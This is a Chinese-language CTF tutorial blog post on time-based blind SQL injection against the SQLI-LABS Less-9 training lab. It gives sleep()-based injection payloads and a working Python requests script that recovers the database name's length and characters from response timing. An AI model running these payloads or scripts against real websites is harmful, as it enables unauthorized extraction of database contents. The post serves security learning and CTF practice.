1、概要
现在的CTF竞赛,WEB类型的题目,SQL注入可以说是必考题,而且,现在的SQL注入题目越来越难了,各种过滤,所以我们的SQL注入神器SQLMAP基本上可以说是没用了,必须要我们自己写脚本和payload进行手工注入,本篇文章以GET型-单参数-时间型盲注为例,总结一下这类题型的做题方法,不喜勿喷。
2、审题
拿到SQL注入的题目,首先要审题,并结合提示看是考察union select注入、报错注入、盲注还是堆叠注入,难题一般都是考察盲注。判断存在什么类型的注入不难,属于基础内容,这里不进一步去展开,感兴趣的可以去刷一刷SQLI-LABS。
3、实例说明
这里还是以SQLI-LABS-less9为例,当然这题比较简单,没有过滤,用SQLMAP也能跑出来,我们不用SQLMAP去跑,这里主要是拿这题介绍如何自己写python脚本进行注入的思路。
1)首先我们还是要手工先构造一个payload出来,确认确实是时间型盲注,payload如下:
获取库长的payload:
http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(length(database())=8,sleep(1),1)--+
获取库名的payload:
http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(1),1)--+
发现确实存在时间型盲注。
2)根据payload的结构来写脚本,当然这里的代码的主要body结构是参照其他大佬的逻辑写的:
#encoding=utf-8
#时间盲注脚本-以SQLI-LABS less-9为例
import requests
import time
import datetime
#获取数据库长度
def database_len():
#存放跑出的结果
length=0
database=''
print ("start get length...")
for l in range(1,15):
startTime1=time.time()
url1 = "http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(length(database())=%d,sleep(1),1)--+"%(l)
response1 = requests.get(url1)
if time.time() - startTime1 > 1:
length+=l
print ("the length :" , str(length))
# break
print ("start database sql injection...")
database_len()
#获取数据库名
def database_name():
name = ''
for j in range(1, 15): #根据数据库名长度自行修改15这个数值
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)--+''' % (
j, i)
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
name += i
print(name)
break
print('database_name:', name)
database_name()
4.代码逻辑说明:
1)时间型盲注需要有一个循环,依据时间差是否为sleep函数设定的值来判断跑出来的字符是否正确,如:
if time.time() - startTime1 > 1:
length+=l
2)payload中有两个变量是需要控制的,分别是j和i,j对应%d的值,i对应%s的值,通过遍历的方式逐个去确定数据库名中的每一个字符;
3)最后总结一下代码的主体结构:
a.首先是基于python爬虫,利用requests不断发包,利用payload进行注入;
b.通过循环去遍历字符串,从而确认库名。
觉得有帮助给点个赞,顺便关注一下,谢谢啦,您的鼓励是我更新的动力。